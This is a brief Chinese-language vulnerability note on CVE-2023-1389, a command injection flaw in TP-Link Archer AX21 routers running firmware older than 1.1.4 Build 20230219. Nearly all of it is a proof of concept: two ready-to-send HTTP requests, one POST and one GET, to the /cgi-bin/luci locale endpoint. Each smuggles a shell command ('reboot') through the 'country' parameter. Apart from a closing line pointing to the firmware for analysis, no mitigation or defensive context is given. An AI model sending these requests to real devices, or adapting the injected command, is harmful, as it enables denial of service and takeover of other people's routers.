CVE-2023-1389、TP-Link Archer AX-21 命令注入安全漏洞（/cgi-bin/luci/；stok=/locale?form=country&operation=writ）

漏洞描述

TP-Link Archer AX-21 命令注入安全漏洞

1.1.4 Build 20230219 之前的 TP-Link Archer AX21 (AX1800) 固件版本存在漏洞

POC

POST 

POST /cgi-bin/luci;stok=/locale HTTP/1.1
Host: <Router IP>
Content-Type: application/x-www-form-urlencoded
Content-Length: <Payload Length>
 
token=&addAction=1&country=us;reboot; 

GET

GET  /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(reboot;) HTTP/1.1
Host: <Router IP>
Content-Type: application/x-www-form-urlencoded
Content-Length: <Payload Length>

tp-link下载对应的固件分析